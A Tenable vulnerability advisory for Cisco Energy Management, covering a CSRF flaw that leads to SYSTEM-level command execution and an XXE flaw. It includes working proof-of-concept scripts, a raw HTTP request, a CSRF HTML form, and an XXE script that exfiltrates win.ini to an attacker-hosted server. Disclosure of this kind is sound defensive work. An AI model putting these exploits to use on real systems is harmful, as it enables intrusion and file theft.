Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Cisco Energy Management Suite Multiple Vulnerabilities

Critical

Synopsis

Tenable has discovered multiple vulnerabilities in Cisco Energy Management.

CVE-2018-15445: Cross-Site Request Forgery

Cisco Energy Management is largely susceptible to Cross-Site Request Forgery (CSRF) throughout the application and its underlying services. Anti-forgery tokens are not utilized to ensure that HTTP requests have originated from within the application or its connected components.

An attacker may abuse this vulnerability to gain remote code execution with SYSTEM privileges. In order to successfully exploit this weakness, the attacker must first craft a malicious page, then convince an authenticated application user to visit the URL (e.g. click a link).

Additionally, the victim user must have sufficient privileges. Scripting and API access are required.

Specifically, a working exploit can be crafted using the following methodology. Via the use of custom scripts, a script can be constructed like so. First, all Controller IDs can be retrieved by querying the object store. The controller ID is used to construct a subsequent API call. Next, a Windows batch file (.bat) is uploaded to the "commands" folder. This file can contain arbitrary system commands to be executed. In order to upload the file, the API is invoked from within the script using the "api_post" function. After the batch file uploads, the "runCommandEx" function can be used to execute the batch file.

Please note that this logic can be contained within just one HTTP POST request.

Proof of Concept

Below is a series of Proof of Concept (PoC) code.

Be sure to update any IP addresses and/or 'auth' tokens. When the exploit works, a file named 'runme.bat' will be created in 'C:\Program Files\Cisco Energy Management Controller\service\commands', and 'calc.exe' will be running with SYSTEM privileges.

Custom JavaScript:

// get controller id
var devices = queryObjects("objecttype=orgfolder");
var jemid = devices[0]["jemid"];
// note that the devices could be looped to execute on all controllers
if (jemid) {
   var fname = "runme.bat";
   var url = "controllers/"+jemid+"/uploadFile?overwrite=true&folder=commands&name="+fname;
   var batchFile = base64Encode("systeminfo"); // batch file contents
   var response = api_post(url, batchFile);
   if (response.result) {
      var cmdResult = runCommandEx(fname);
      if (cmdResult) {
         log(cmdResult["stdout"]);
      }
   }
}

The following HTTP request shows the above code being POST’ed to CEM.

POST /central/data/jemwscall/executeScriptAsync HTTP/1.1
Host: 192.168.1.194
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.194/
Content-Type: application/json
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 685
Cookie: user=name=; PLAY_LANG=en; auth=2c63d52039194dde8571c745c7431322
Connection: close

{"script":"// get controller id\nvar devices = queryObjects(\"objecttype=orgfolder\");\nvar jemid = devices[0][\"jemid\"];\n// note that the devices could be looped to execute on all controllers\nif (jemid) {\n   var fname = \"runme.bat\";\n   var url = \"controllers/\"+jemid+\"/uploadFile?overwrite=true&folder=commands&name=\"+fname;\n   var batchFile = base64Encode(\"calc\"); // batch file contents\n   var response = api_post(url, batchFile);\n   if (response.result) {\n      var cmdResult = runCommandEx(fname);\n      if (cmdResult) {\n         log(cmdResult[\"stdout\"]);\n      }\n   }\n}","scriptLabel":"Unnamed Script","async":true,"options":"-s1 -source=JEMScriptDialog"}

This is an HTML form that can be used to send the exploit.

<html>
            <body>
            <form method="POST" enctype="text/plain" action="https://192.168.1.194/central/data/jemwscall/executeScriptAsync">
            <input name='{"script":"var devices=queryObjects(\"objecttype=orgfolder\");var jemid=devices[0][\"jemid\"];if(jemid){var fname=\"runme.bat\";var url=\"controllers/\"+jemid+\"/uploadFile?overwrite=true&folder=commands&name=\"+fname;var batchFile=base64Encode(\"calc\");var response=api_post(url,batchFile);if(response.result){var cmdResult=runCommandEx(fname);if(cmdResult){log(cmdResult[\"stdout\"]);}}}","scriptLabel":"Unnamed Script","async":true,"options":"-s1 -source=JEMScriptDialog", "trash":"' value='"}' />
            <input type="submit" />
            </form>
            </body>
</html>

CVE-2018-15444: Authenticated XML External Entity Vulnerability (XXE)

An XML External Entity (XXE) vulnerability exists in Cisco Energy Management’s scripting feature. This vulnerability can be exploited by an authenticated attacker. The contents of any file may be read from the file system and subsequently exfiltrated. Please note that this vulnerability may be exploited via Cross-Site Request Forgery (CSRF) as well.

In order to successfully exploit this, a malicious user (attacker) must have sufficient privileges. Scripting access is required.

Specifically, the vulnerability exists within the way an 'XmlDoc' is processed during conversion to a JSON using the 'toJson' function. An attacker may abuse this by crafting an XML document containing external entities. These entities may reference files on the file system.

Furthermore, using built-in Networking Scripting functions, the contents of files can be read and sent to a remote, attacker-controlled system.

Proof of Concept

Below is a Proof of Concept (PoC) consisting of a custom script. The PoC will read C:\WINDOWS\win.ini and send the contents, Base64 encoded, to a remote HTTP server. Run the script in the 'Run Script' dialog for a given asset/device.

In order to receive the file contents, be sure to host your own HTTP server and update the IP address to match that of your server. The request path will have to be Base64 decoded once it is received.

include("xml.js");
var xml = '<?xml version="1.0" ?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>';
var doc = new XmlDoc(xml);
var json = doc.toJson("json");

var exfil = base64Encode(json["foo"]);

var config = {
    url : "http://192.168.0.4:8080/"+exfil,
    timeout : 4
};

httpGet(config);

Solution

Upgrade to Cisco Energy Management version 5.2.3.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 60 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

$2,275.00

Buy Now

Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 60 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578.00

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 60 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Learn More about Industrial Security

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.